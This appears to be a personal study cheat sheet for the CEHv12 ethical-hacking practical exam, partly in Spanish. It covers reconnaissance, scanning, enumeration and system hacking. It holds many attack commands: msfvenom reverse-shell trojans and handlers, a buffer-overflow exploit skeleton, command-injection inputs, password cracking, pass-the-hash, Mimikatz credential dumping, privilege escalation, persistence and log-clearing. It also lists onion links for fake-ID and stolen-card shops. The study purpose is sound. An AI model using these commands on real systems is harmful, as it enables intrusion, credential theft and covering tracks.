🔒 Notes CEHv12 Practical - Elisa Alises

📚 Index of Contents

- Module 01: Introduction to Ethical Hacking
- Module 02: Footprinting and Reconnaissance
- Module 03: Scanning Networks
- Module 04: Enumeration
- Module 05: Vulnerability Analysis
- Module 06: System Hacking
- Module 07: Malware Threats
- Module 08: Sniffing
- Module 09: Social Engineering
- Module 10: Denial-of-Service
- Module 11: Session Hijacking
- Module 12: Evading IDS, Firewalls, and Honeypots
- Module 13: Hacking Web Services
- Module 14: Hacking Web Applications
- Module 15: SQL Injection (SQLi)
- Module 16: Hacking Wireless Networks
- Module 17: Hacking Mobile Platforms
- Module 18: IoT and OT Hacking
- Module 19: Cloud Computing
- Module 20: Cryptography

Module 02: Footprinting and Reconnaissance

Google Hacking Database - DORKs

> Dorks

filetype, site, intitle, inurl, cache, allinurl, allintitle, link, info, related, location...

Examples of queries:

- `EC-Council filetype:pdf`
- `intitle:login site:eccouncil.org`

More examples in: ExploitDB

YouTube Metadata and Reverse Image Search

> Metadata in YouTube video

- https://mattw.io/youtube-metadata/

- https://citizenevidence.amnestyusa.org/

> Reverse Image Search

- https://citizenevidence.amnestyusa.org/
- https://tineye.com/
- Google Images: https://images.google.com/

> Play video in reverse

- https://www.videoreverser.com/es.html

Gather Information from FTP Search Engines

File Transfer Protocol (FTP) search engines are used to search for files located on the FTP servers. These files may hold valuable information about the target.

- https://www.searchftps.net/
- https://www.freewareweb.com/

Information Gathering from IoT Search Engines

IoT search engines crawl the Internet for IoT devices that are publicly accessible. They provide information such as hostname, open ports, location, IP, and more.

- Shodan
- Censys

Locate Network Range

https://www.arin.net/about/welcome/region/

- Type the IP target.

Discovering Hosts in the Network

> nmap

Bandera	Función	Uso Típico
`-sS`	Escaneo SYN (Stealth)	Escaneo rápido y "silencioso" en firewalls.
`-sT`	Escaneo TCP completo	Realiza una conexión TCP completa (3-way handshake).
`-sU`	Escaneo UDP	Descubre servicios UDP en puertos específicos.
`-A`	Detecta SO, servicios y ejecuta scripts predeterminados.	Obtención de información avanzada.
`-p`	Especifica los puertos a escanear	Escaneo de puertos específicos (e.g., `-p80,443`).

Bandera	Función	Uso Típico
`--top-ports <n>`	Escanea los puertos más comunes	Ahorra tiempo enfocándose en puertos frecuentes.
`--open`	Muestra solo puertos abiertos	Filtra la salida para una revisión más rápida.
`-T<0-5>`	Configura la velocidad del escaneo	`T4` (rápido) o `T5` (muy rápido) según el contexto.
`--script`	Ejecuta scripts NSE específicos	Ejemplo: `--script vuln` para detectar vulnerabilidades.
`-Pn`	Omite la detección de host (sin ping)	Para objetivos que no responden al ICMP/ping.
`-oN <file>`	Guarda la salida en formato legible	Documentación de resultados.
`-oG <file>`	Guarda la salida en formato "grepable"	Ideal para análisis automatizado posterior.
`-v`	Modo detallado	Muestra información en tiempo real.

Bandera	Función	Uso Típico
`-sC`	Ejecuta scripts predeterminados	Descubrir configuraciones comunes y vulnerabilidades básicas.
`-sV`	Detecta versiones de servicios	Identificar servicios y versiones precisas en puertos abiertos.
`-sN`	Escaneo nulo (Null Scan)	Evitar detección en firewalls o IDS básicos (silencioso).
`-sU`	Escaneo de puertos UDP	Identificar servicios UDP como DNS, SNMP, y NTP.

Categoría	Descripción	Ejemplo de Scripts Ejecutados
safe	Scripts seguros que no afectan al sistema escaneado.	`ssl-cert`, `dns-service-discovery`
default	Scripts básicos ejecutados por defecto en `-sC`.	`http-title`, `ssh-hostkey`, `smb-os-discovery`
Enumeración	Identifica servicios o configuraciones específicas.	`ftp-anon`, `smb-os-discovery`, `http-title`
Vulnerabilidades	Detecta problemas de seguridad comunes.	`ssl-cert`, `vulners`
DNS	Scripts orientados al análisis DNS.	`dns-service-discovery`

Examples:

- `nmap IP/24`
- `nmap IP/16`
- `nmap -sV -Pn IP/range`

- `nmap -sP IP/range`
- `nmap -sS -sV -O 172.20.0.*`
- `nmap -sS -sV -sC -A -O 172.20.0.*`
- `nma-script vuln 172.20.0.*`
- `nmap -vv -T4 -A -oN ff.txt 10.10.183.* -p8012`

Option	Description
`-A`	Enables OS detection, version detection, script scanning, and traceroute
`-oN`	Output to a file (e.g., `telnetnmap` for this task; you can name it anything)
`-p 8012`	Specifying the port

> Netdiscover

- `netdiscover -r range`

> Metasploit

- `msf > use auxiliary/scanner/smb/smb_version`
- Example: `set rhosts 10.10.1.5-23`

> fping

- `fping -asgq range`

> hping3

- `hping3 -1 targetIP -p port -c packetCount`

> arp

- `arp -a`

> Angry IP Scanner (Windows)

- Type the IP range > Click the preferences icon > In the scanning tab, select the pining method as combined UDP+TCP > In the display tab, select the alive hosts > OK > Start

Find Domains and Subdomains

> Netcraft

- Netcraft-report
- Netcraft-DNS

> crt.sh

- https://crt.sh/

> SecurityTrails

- https://securitytrails.com/

ffuf

- Find subdirectories: `ffuf -w pathWordlist:FUZZ -u https://target/FUZZ`
- Parameter fuzzing: `ffuf -w </path/to/values.txt> -u <https://target/script.php?valid_name=FUZZ> -fc 401`
- POST parameter fuzzing: `ffuf -w /path/to/postdata.txt -X POST -d "username=admin\&password=FUZZ" -u https://target/login.php -fc 401`
- Find subdomains: `ffuf -w <subdomains.txt> -u <http://website.com/> -H “Host: FUZZ.website.com”`
- Find extensions: `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ`
- Find files with extension php: `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ.php`
- Find parameters: `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://SERVER_IP:PORT/index.php?FUZZ=value'`
- Find LFI with that parameter found: `ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://165.22.118.93:30678/index.php?view=FUZZ' -fs 1935`
- Filter by size or by code to see the different ones: `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://SERVER_IP:PORT/index.php?FUZZ=value' -fs 2287` * Parameter ‘fc’ status code and ‘fs’ response size.

dirb

- `dirb <http://target>`

gobuster

- `gobuster dns -d mysite.com -t 50 -w common-names.txt`
- `gobuster dir -u https://mysite.com/path/to/folder -c 'session=123456' -t 50 -w common-files.txt -x .php,.html`
- `gobuster fuzz -u https://example.com?FUZZ=test -w parameter-names.txt`
- Find subdomains: `gobuster vhost -u https://futurevera.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -k --append-domain`

host

- Find ip domain: `host www.ceh.com`

Sublist3r

- `python sublist3r.py -d example.com`

DNSEnum

- `dnsenum --dnsserver IP --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt domain.com`

> Zone Transfer

- Identifying Nameservers `nslookup -type=NS zonetransfer.me`
- Try zone transfer `dig axfr @IP domain.com`

Gather Personal Information

- Peekyou: Search by username or name and location.
- Intelius
- Spokeo

Gather Personal Information from Social Networks

> Username search engines:

- https://namechk.com/
- https://www.namecheckr.com/

> Social Searcher - Search by number, name, etc.

- Social Searcher

> Social Networks - search by username

- UserRecon `./userrecon.sh`
- Sherlock `python3 sherlock --help`

> Analyze followers and contacts:

- https://followerwonk.com/analyze.html
- https://www.social-listening.mx/blog/sysomos-herramienta-escucha-social/

Gather Email List

> theHarvester

- `theHarvester -d domain.com -l numberResults -b dataSource

> Hunter.io

> Maltego

Deep and Dark Web Searching

- Tor Browser
- Search engine: DuckDuckGo
- TheHiddenWiki
- ExoneraTor – Tor Metrics (torproject.org)
- **The Hidden Wiki** is an onion site that works as a Wikipedia service of hidden websites. (http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki)
- **FakeID** is an onion site for creating fake passports (http://ymvhtqya23wqpez63gyc3ke4svju3mqsby2awnhd3bk2e65izt7baqad.onion)

- **Cardshop** is an onion site that sells cards with good balances (http://s57divisqlcjtsyutxjz2ww77vlbwpxgodtijcsrgsuts4js5hnxkhqd.onion)
- https://onionengine.com/

Determine Target OS Through Passive Footprinting

- Censys (https://search.censys.io/?q=)
- Netcraft
- Shodan

Gather Information about a Target

- Ping
- nmap
- https://centralops.net/co/: Domains, IP, DNS, traceroute, nslookup, whois, and more.
- https://website.informer.com/
- GRecon: Directory listing, subdomains, login pages, exposed documents, and more.
  - `python3 grecon.py`
  - Set target: `domain`
- Photon: URLs, email, social media accounts, files, subdomains, and more.
  - `python3 photon.py -u http://www.domain.com`
- https://dnsdumpster.com/
- https://github.com/s0md3v/ReconDog
- https://github.com/Moham3dRiahi/Th3inspector

Gather a Wordlist from the Target Website

> CeWL

- `cewl -w outputFile -d depthSpiderWebsite -m minWordLength domain.com`

Extract Company's Data

Emails, Phones, URLs, files, and more.

> Web Data Extractor (wde.exe)

- New > Type the URL > Check all the options > OK > Start

> FOCA

> ParseHub (web scraper)

> SpiderFoot

Mirror a Target Website

> HTTrack (winhttrack.exe)

- OK > Next > Create a new project > Type the web addresses > Set options > Scan Rules tab > Check all file types > OK > Next > Finish to start mirroring the website > Browse Mirrored Website

> Cyotek WebCopy

Email Analyzer (location, routing, headers, IP, and more)

> eMailTrackerPro (emt.exe)

My trace reports > Trace headers > Trace an email I have received > Copy the header from suspicious email and paste it in the email headers field > Trace

- In Gmail: Click the email and select show original
- In Outlook: Double-click the email > click more actions > view message source

> infoga

- `python infoga.py –target domain –sourceall`

> Mailtrack.io

FQDN - DNS footprinting

> nmap

- `nmap -p 53,88,389,445 -sS -sV -O --script="dns-service-discovery" --resolve-all target-ip-range`

> nsklookup

- `nslookup IP`
- `nslookup domain`
- `nslookup set type=cname domain`
- `nslookup set type=a domain`

> nuclei

- `nuclei -list hosts.txt`
- `nuclei -target domain`
- `nuclei -target IP`

> dnsrecon

- `./dnsrecon.py -r iprange`

> dig

- `dig hostname`
- `dig -x IP`

> Nessus

Whois Lookup - Online Tool

Gather information about a target (domain or IP): IP location, IP address, Hosting Info, and more.

- https://whois.domaintools.com/

DNS footprinting - Nslookup

Gather DNS information:

- nslookup Online tools:
- http://www.kloth.net/services/nslookup.php
- https://mxtoolbox.com/DNSLookup.aspx
- https://dnsdumpster.com/
- https://mxtoolbox.com/NetworkTools.aspx

Reverse DNS Lookup

Is used for finding the IP addresses for a given domain name, and the reverse DNS operation is performed to obtain the domain name of a given IP address.

- https://www.yougetsignal.com/
  - Reverse IP domain check > Type the remote address > check
- DNSRecon `./dnsrecon.py -r IPrange` Example: `./dnsrecon.py -r 162.241.216.0-162.241.216.255`
- https://dnschecker.org/
- https://dnsdumpster.com/

Network Tracerouting

The route is the path that the network packet traverses between the source and destination.

> tracert (Windows)

- `cmd> tracert domain`
- `cmd> tracert -h maxhops domain`

> traceroute (Linux)

- `traceroute domain`

> Path Analyzer Pro (PAPro27.msi)

- Protocol ICMP > Length of packets Smart > Stop on control messages ICMP > Type the Target > Smart > Trace > Type time of trace > Acept > Trace

Footprinting a Target

> Recon-ng (Linux)

- `recon-ng`
- `marketplace install all`
- `modules search`

- `workspaces create nameWorkspace`
- `db insert domains`
- `show domains`
- `modules load moduleSelected`
- `run`
- `info command`
- `options set NAME data`

> Maltego

> OSRFramework tools

- https://github.com/i3visio/usufy: Gather registered accounts with given usernames.
- https://github.com/i3visio/osrframework/blob/master/osrframework/phonefy.py: Checks for the existence of a given series of phones.
- https://github.com/i3visio/osrframework/blob/master/osrframework/mailfy.py: Gathers information about emails accounts.
- https://github.com/i3visio/osrframework/blob/master/osrframework/domainfy.py `domainfy -n domain -t all`
- https://osintframework.com/

> Billchiper

- https://github.com/bahatiphill/BillCipher: whois, DNS, port scanner, zone transfer, etc.
  - `python3 billchipher.py`

> FOCA

Module 03: Scanning Networks

Host, Ports, Service and Vulnerabilities Discovery

> Zenmap: GUI for the Nmap Security Scanner

> nmap

- `nmap -sV -sC IP`
- `nmap --script=name IP`

> sx Tool (Linux): Port scanning

- `sx arp IP/24`
- `sx tcp -p 1-65535 IP`
- `cat arp.cache | sx udp -p PORT IP`

> Metasploit

Scan a target network:

- `service postgresql start`

- `msfdb init`
- `msfconsole`
- `db_status`
- `nmap -Pn -sS -A -oX Test IP/24`
- `db_import Test`
- `hosts`
- `services`
- `auxiliary/scanner/portscan/syn`
- `more modules` Search modules:

- `msfconsole`
- `search WORD`
- `use numModule`
- `set option`
- `exploit`

> megaping.exe (Windows): Port and service discovery

- IP Scanner Tab > Enter the IP range > Start
- Port Scanner Tab > Enter the IP address in the destination list > Add > Start

> NetScanTools pro (nstp.exe - Windows): Port and service discovery

- Ping Scanner > Use default system DNS > Enter the range of IP addresses > Start
- Port Scanner > Target hostname or IP address > Select the TCP full connect radio button > Scan range of ports button

Common ports

> MySQL

- 3306

> Remote Desktop - RDP (ms-wbt-server)

- 3389

> FTP

- 21 or 2121

> SSH

- 22

> NFS

- 111 or 2049

> SMB

- 139 and 445

> SNMP

- 161

Domain info

> Domain User Account: enum4linux

Enum4linux is an open-source tool used for enumerating information from Windows and Samba systems.

- `enum4linux -a IP`
- `enum4linux -U -v IP`
- `enum4linux -u user -p password -U IP`

Sniffer

> WireShark

OS Discovery

> ping

- TTL (64 Linux and 128 Windows)

> nmap

- `nmap -A IP`
- `nmap -O IP`
- `nmap --script smb-os-discovery.nse IP`

> unicornscan

- `unicornscan IP -Iv`

Evasion Techniques (IDS, firewalls and more)

> nmap

- -f: fragment packets.
- -g or --source-port: manipulate the source port.
- -mtu: to change packet sizes.
- -D -RND: generate random IPs.
- --spoof-mac 0: randomizing the MAC address.

> Colasoft: custom packet builder.

> hping3

- `hping3 IP --udp --rand-source --data NUM`

> Browse Anonymously using Proxy Switcher

- Proxy Switcher (proxyswitcherstandard.exe - Windows)

- CyberGhost VPN

Create Network Diagram

> Solarwinds (Windows)

Module 04: Enumeration

NetBIOS Enumeration

List of computers belonging to a target domain, network shares, policies, etc. NetBIOS is a local network communication protocol. `nbtstat` is a tool used to query NetBIOS information on Windows. The hostname is different from NetBIOS. A device can have multiple NetBIOS names for various network roles.

> nmap

- `nmap -sV --script nbstat.nse IP`
- `nmap -sU -p 137 --script nbstat.nse IP`

> nbtstat (Windows)

- `nbtstat -a IP`
- `nbtstat -a hostname`
- `nbtstat -c`

> net use: displays information about the target such as connection status, shared folder, network information and more.

- `cmd> net use`

> NetBIOS Enumerator (Windows)

- Type the IP address range > Scan

SNMP Enumeration

System information, user accounts, network information, listening ports... An SNMP (Simple Network Management Protocol) device is any network device that has implemented and enabled SNMP to allow centralized monitoring and management. These devices, including routers, switches, servers, network printers, IP cameras, and other network infrastructure components, can be remotely managed and monitored using SNMP by Network Management Systems (NMS), monitoring tools, or custom scripts and applications. SNMP enables the collection of data on device performance, resource utilization, network status, and other critical aspects.

> snmp-chek (Linux)

Enumerates the target machine, listing sensitive information (system information, user accounts), network information, listening ports, shares, processes, etc.

- `snmp-check IP`

> snmpwalk (Linux)

- `snmpwalk -v1 -c public IP`
- `snmpwalk -v2c -c public IP`
- `snmpwalk -v3 -c public IP` *-c is a community string. By default is public.

> SoftPerfect Network Scanner (Windows)

- Options menu > Remote SNMP > Click on button Mark all the items available > Enter the IP range > Start scanning
- Pulse an individual IP > Properties The scanned hosts that have a node are the shared folders. Expand the node to view it. Click open device.

> nmap

- `nmap -sU -p 161 IP`
- Script nmap like: `--script=snmp-sysdescr`, `--script=snmp-processes`, `--script=snmp-win32-software`, `--script=snmp-interfaces`

LDAP Enumeration

LDAP enumeration allows you to gather information about usernames, addresses, departamental details, server names, and more.

> ADExplorer.exe

- Type the target IP in the 'Connect to' text field > OK

> nmap

- `nmap -sU -p 389 IP`
- `nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=CEH,dc=com"' IP`

> python3

- `python3`
- `import ldap3`
- `server=ldap3.Server('IP',get_info=ldap3.ALL,port=389)`
- `connection=ldap3.Connection(server)`
- `connection.bind()`
- `server.info`
- `connection.entries`

> ldapsearch

- `ldapsearch -h IP -x -b "DC=domain,DC=com"`
- `ldapsearch -h IP -x -s base namingcontexts`

> crackmapexec

- `crackmapexec protocol IP -u username -p password --users`

NFS Enumeration

nmap

- `sudo nmap IP -p111,2049 -sV -sC`
- `sudo nmap --script nfs* IP -sV -p111,2049`

Show available NFS shares

- `sudo apt install nfs-common`
- `showmount -e IP`
- `cp /bin/bash .`
- `chmod +s bash`
- `ls -la bash`
- cd /home
- ls
- ./bash -p
- id
- whoami

Mounting NFS share

- `mkdir directory`
- `sudo mount -t nfs IP:/ ./directory/ -o nolock`
- Example: `sudo mount -t nfs IP:/home /tmp/nfs`
- `cd directory`
- `tree .`

SuperEnum

- `echo "IP" >> Target.txt`
- `./SuperEnum`
- `Target.txt`

RPCScan

- `python3 rpc-scan.py IP -rpc`

DNS Enumeration

Zone Transfer

- `dig ns domain`
- `dig @nameserver targetDomain axfr`

or

- `nslookup`
- `set querytype=soa`
- `domain`
- `ls -d nameServer`

> DNSRecon

- `./dnsrecon.py -d domain -z`

> Nmap

- `--script=droadcast-dns-service-discovery`
- `--script dns-brute`
- `--script dns-srv-enum "dns-srv-enum-domain='domain'"`

SMTP Enumeration

> nmap

- `nmap -p 25 --script=smtp-enum-users IP`

- `--script=smtp-enum-users`
- `--script=smtp-open-relay`
- `--script=smtp-commands`

RPC and SMB Enumeration

> NetScanToolsPro (Windows)

- Manual Tools > SMB Scanner > Start SMB scanner > Edit target list > Add the IP target to the list > OK > Edit share login credentials > Type credentials > Add to list > OK > Get SMB versions
- Click one IP > View shares
- Manual Tools > * nix RPC Info > Enter the IP target into target field > Dump portmap

> SMB enumerating smb shares

- `smbclient -L //IP`

> SMB

- `nmap -sU -sS --script=smb-enum-users IP`
- `crackmapexec smb IP -u userList -p 'password'`
- `crackmapexec smb IP --shares -u '' -p ''`
- `crackmapexec smb IP -u user -p 'pass' --sam`
- `crackmapexec smb IP -u user -H hash`
- `nbtscan -r range`
- `enum4linux -U -o -d IP`
- `nmblookup -A IP`
- `tpcclient -U "" -N IP`
- `rpcclient -U username IP`

- `rpcclient -U username%password IP` `srvinfo` `enumdomains` `netshareenumall` `enumdomusers` `queryuser 0x3e9`
- [msf] > `use auxiliary/scanner/smb/smb_login`
- List the shared resources of an SMB server: `smbclient -L \\\\IP` `smbclient -L \\\\IP -U username`
- Access to the shared resources of an SMB server: `smbclient \\\\IP\\directory` `smbclient x\\\\IP\\directory -U username`
- Interesting commands: `get file` `mget *` `put file`

RDP (Remote Desktop Protocol) - ms-wbt-server

> nmap

- `nmap -sV -sC IP -p3389 --script rdp*`

> Connect with credentials

- `rdesktop -u username IP`
- `rdesktop -d domain -u username -p password IP`
- `xfreerdp [/d:domain] /u:username /p:password /v:IP`
- `rdesktop IP`
- `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`
- `evil-winrm -i IP -u username -p password`

> Connect with the hash (pass the hash)

- `xfreerdp [/d:domain] /u:username /pth:hash /v:IP`

Enumerate Windows and Samba Hosts

Is a tool for enumerating information from Windows and Samba systems. It is used for share enumeration, password policy, detecting hosts in a workgroup or a domain, user listing on hosts etc.

> enum4linux

- `enum4linux -u user -p pass -n IP`
- `enum4linux -o IP`
- `enum4linux -a IP`
- Get userlist: `enum4linux -U IP`
- Get password policy: `enum4linux -P IP`
- Get group and member list: `enum4linux -G IP`
- Get sharelits: `enum4linux -S IP`

FTP Enumeration

> Internet Information Services Manager -> add FTP site

> Netcat

- `nc -nv IP port`

> Telnet

- `telnet IP port`
- `sudo tcpdump ip proto \\icmp -i tun0`

> Connect

- `ftp user@IP`
- `ftp IP`
- `wget -m --no-passive ftp://anonymous:anonymous@ip:port`
- `wget -m --no-passive ftp://user:password@IP:port`

> Cracking credentials

- `hydra -L wordlistsUsers -P wordlistsPass ftp://IP`
- `hydra -l User -P /usr/share/wordlists/rockyou.txt IP ftp`

SECTION	FUNCTION
`hydra`	Runs the hydra tool
`-t 4`	Number of parallel connections per target
`-l [user]`	Points to the user whose account you're trying to compromise
`-P [path to dictionary]`	Points to the file containing the list of possible passwords
`-vV`	Sets verbose mode to very verbose, shows the login+pass combination for each attempt
`[machine IP]`	The IP address of the target machine
`ftp / protocol`	Sets the protocol

SSH

> User enumeration

- msf> `use scanner/ssh/ssh_enumusers`

> Connect

- `ssh userName@IP -p port`

> Connect with private key (without password)

- `chmod 600 idRSA`
- `ssh userName@IP -p port -i idRSA`

Enumerate information

> Global Network Inventory (Windows)

- Single Address scan > Type the IP target > Type credentials

Enumerate Network Resources

> Advanced IP Scanner (Windows)

- Type the IP adress range (Example: 10.10.1.5-10.10.1.23) > Scan button

---

Module 05: Vulnerability Analysis

Vulnerability Analysis

> OpenVAS

- `start Greenbone`
- `https://127.0.0.1:9392`
- admin:password
- Scans > tasks > task wizard > Type the IP target or hostname > Start scan

> Nessus

- https://localhost:8834
- Admin:password

> GFI LandGuard (Windows)

- Scan > Type the IP target > Full scan > Scan

Vulnerability Scanning Web Servers

> Nikto

- `nikto -h domain`
- `nmap --top-ports 1000 10.10.64.208 -oG - | nikto -h -`
- `nikto -h 10.10.64.208 -p 8080 -Display 2`

> Nuclei

- `nuclei -u https://IP`

> Burp Suite

> ZAP

RCE

> View a file

- Example: `8.8.8.8&&type C:\\path`

> Find users

- Example: `8.8.8.8 | net user`

> Add a user

- Example: net localgroup Administrators Test /add
- connect with RDP -> IP and user Test

Module 06: System Hacking

Active Online Attack to Crack the System's Password

> Responder: Obtaining credentials

- `sudo ./Responder.py -I interface`

> transform ssh private key .txt to john format

- `ssh2john ssh.txt >key.txt`
- `john key.txt -w=/usr/share/wordlists/rockyou.txt`
- `cp ssh.txt privateKey.pem`
- `chmod 600 privateKey.pem`
- `ssh -i privateKey.pem user@ip`

> John The Ripper: Crack the hash

- `john hash.txt`
- `john key.txt -w=/usr/share/wordlists/rockyou.txt`
- `john --wordlist=path hash`
- `john hash --show`
- `john --format=hash_type --wordlist=pathWordlist pathFileContainsHash`

> Hash identifier:

- `hash-identifier hash`

> Hashcat

- `hashcat -m 0 -a 0 pathFileContainsHash pathWordlist`
  - “-m”: type hash we are cracking (for example 0 = MD5).
  - “-a 0”: designates a dictionary attack.

> Crackstation

- https://crackstation.net/

> l0phtcrack (Windows): Audit system passwords

- Click Password auditing wizard > Next > Choose the target system type (Windows or Linux) > A remote machine > Type the IP target and credentials > Choose audit type

Create a Reverse Shell

> Create a Trojan with msfvenom (reverse shell)

- `msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=IP LPORT=port -o ./test.exe`
- `msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=port -f exe > /home/attacker/Desktop/backdoor.exe`

> Init a server with apache2 (/var/www/html)

- `mkdir /var/www/html/share`
- `chmod -R 755 /var/www/html/share`
- `chmod -R www-data:www-data /var/www/html/share`
- `cp /test.exe /var/www/html/share`
- `service apache2 start`

Or python server

- `python3 -m http.server port`

> Init a handler

- `msfconsole`
- `use exploit/multi/handler`
- `set payload windows/meterpreter/reverse_tcp`
- `set LHOST IP`
- `set LPORT port`
- `exploit`

> Upload a powerup (powersploit)

- meterpreter > `upload /root/PowerSploit/PowerUp.ps1`
- meterpreter > `shell`
- `powershell -ExecutionPolicy Bypass -Command ". .\\PowerUp.ps1;Invoke-AllChecks"`

> Exploit VNC vulnerability

- `run vnc`

Gain Access to a Remote System

> Armitage (Linux)

- `service postgresql start`
- `armitage`

> Ninja Jonin

> Fatrat (crear reverse)

Buffer Overflow Attack to Gain Access to a Remote System - Reversing

> Immunity debugger

- File > atach > select a service
- conection with netcat (nc -nv IP port)
- Generate Unique Pattern `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l number`
- Create a exploit: `#!/usr/bin/python_ import sys, socket offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A[...]" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('IP',port)) s.send(('string' + offset)) s.close() except: print "Error connecting to server" sys.exit()`
- Calculate the Offset (maximum number of characters the buffer can store): `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l number -q EIP-value`
- !mona modules
- Fetch instruction in a function: `/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm> JMP ESP !mona find -s "\\xff\\xe4" -m function !mona find -s "instruction" -m function`

> Radare2

> rabin2

Escalate Privileges

> getsystem

- meterpreter> `sysinfo`
- meterpreter> `getsystem -t 1`

> hashdump

- meterpreter > `run post/windows/gather/smart_hashdump`

> bypassuac

- meterpreter > `background`
- [msf]> `use /windows/local/bypassuac_foghelper`
- `getuid`

> SUID

- `find / -perm -4000 -ls 2> /dev/null`

> Mimikatz

- `load kiwi`
- `lsa_dump_secrets`
- `lsa_dump_sam`
- `password_change -u user -n hashNTLM -P password`

> BeRoot

- meterpreter> `upload /home/attacker/Desktop/BeRoot/beRoot.exe`
- meterpreter> `shell`
- `beRoot.exe`
- `exit`
- meterpreter> `upload /home/attacker/Desktop/Seatbelt.exe`
- meterpreter> `shell`
- `Seatbelt.exe -group=system`

> Search files

- meterpreter> `search -f file`

> Show state firewall

- `netsh firewall show state`

Polkit or Policykit

> pkexec cve-2021-4034 polkit

- `https://github.com/arthepsy/CVE-2021-4034`
- `gcc cve-2021-4034-poc.c -o exploit`
- `./exploit`

Modified Data

> MACE value

- `timestomp secret.txt -m "01/01/2020 8:09:29"`
- `timestomp secret.txt -v`

Keylogger

> keyscan

- meterpreter > `keyscan_start`
- meterpreter > `keyscan_dump`

System Monitoring

- Remote Desktop Connection (RDP)
- Power Spy (Windows)
- Log view
- SpyAgent

Hide Files

> Hidden a exe onto a txt

- `type c:\\calc.exe > c:\\readme.txt:calc.exe`
- `mklink backdoor.exe readme.txt:calc.exe`

Hide Data - Steganography

> Snow

Hide data: `snow.exe -C -m "text" -p "password" text1.txt text2.txt` * 'password' is the password. The data text is hidden inside the text2.txt * the file text2.txt has become a combination of text1.txt and text Extract data: `snow.exe -C -p "password" text2.txt` * It shows the context of text1.txt

> Covert_tcp (bypass firewalls and send data)

- machine 1: `copy covert_tcp.c file mkdir send cd send paste covert_tcp.c file echo "secret message" > message.txt cc -o covert_tcp covert_tcp.c`
- machine 2: `mkdir receive cd receive copy covert_tcp.c file cc -o covert_tcp covert_tcp.c ./covert_tcp -dest IP -source IP -source_port port -dest_port port -server -file /home/Desktop/Receive/receive.txt`
- machine 1: `./covert_tcp -dest IP -source IP -source_port port -dest_port port -server -file /home/Desktop/Send/message.txt`

Image Steganography

> Openstego.exe

Hide or extract data from a file.

- Hide data (Example: txt into a jpg) Type the message or select the file (txt) > Select the file (jpg) > choose the output location to the stego file > Hide data
- Extract data (Example: txt from bmp or jpg) Select the input stego file > Select the output folder > Enter the password > Extract data

> StegOnline (georgeom.net)

It's an online tool to extract data from a file.

- Hide data: Upload the file > Embebed files/data > Check the checkboxes under row 5 > Text option > Enter the text > Go > Download extracted data
- Extract data: Extract files/data > Check the checkboxes under row 5 > Go

Maintain Persistence

> Upload a reverse in the system

- `msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=port -f exe > payload.exe`
- meterpreter> `upload /home/attacker/payload.exe`
- and create a new multi/handler

> PowerView and add a user, set a privileges and a group

- meterpreter> `upload -r /home/attacker/PowerTools-master C:\\\\Users\\\\Administrator\\\\Downloads`
- meterpreter> `shell`
- `powershell`
- `cd C:\\\\Users\\\\Administrator\\\\Downloads\\\\PowerView`
- PS> `Add-ObjectAcl -TargetADSprefix 'CN=ADminSDHolder,CN=System' -PrincipalSamAccountName user -Verbose -Rights All`
- PS> `Get-ObjectAcl -SamAccountName "user" -ResolveGUIDs`
- PS> `REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters /V AdminSDProtectFrecuency /T REG_DWORD /F /D 300`
- PS> `net group "Domain Admins" user /add /domain`

Clear logs to hide the evidence of compromise

> View policies and check wheter the audit policies are enabled

- cmd> `auditpol /get /category:*`

> Enable the audit policies

- cmd> `auditpol /set /category:"system","account logon" /success:enable /failure:enable`

> Clear audit policies

- cmd> `auditpol /clear /y`

> Clear Windows Machine Logs

- Clear Event Viewer Logs (bat file)
- Display a list of events logs:
  - `cmd> el | enum-logs`
  - `cmd> wevtutil el`
- Clear a log:
  - `cmd> wevtutil cl system`

> Clear Linux Machine Logs

- `history -c`
- `history -w`
- `shred ~/.bash_history && cat /dev/null > .bash_history && history -c && exit`
- CCleaner

> Hidding artifacts

- Hide a folder
  - cmd> `mkdir test`
  - cmd> `attrib +h +s +r test`

    - To view it: `attrib -h -s -r test`
- Hide a user
    - cmd> `net user test /active:no`
    - cmd> `net user test /active:yes`
- Hide a file
    - `touch .test.txt`
    - `ls`
    - `ls -al`

Module 07: Malware Threats

Gain Control over a Victim Machine

> njRAT Trojan (Remote Access Trojans) -> Windows

- builder
- Create trojan with reverse shell and send it to the victim machine and execute it
- When a session is opened, click on it and pulse in "manager" option or "remote desktop", "remote cam", and more.

Hide a Trojan and make it undetectable

- https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/6-Malware/3-Obfuscating-Trojan-SwayzCryptor.md
- SwayzCryptor.exe

Malware Analysis

- VirusTotal

Create a Malware

- ProRat.exe
- Theef RAT Trojan: server210.exe y client210.exe
- JPS Virus Maker Tool (jps.exe)

Static Analysis

- https://www.hybrid-analysis.com/
- VirusTotal
- https://valkyrie.comodo.com/

Strings Search

- BinText.exe

Identify Packaging and Obfuscation Methods

- PEiD.exe

Analyze ELF Executable File

- Detect It Easy (die.exe)

Information of a Malware Executable File

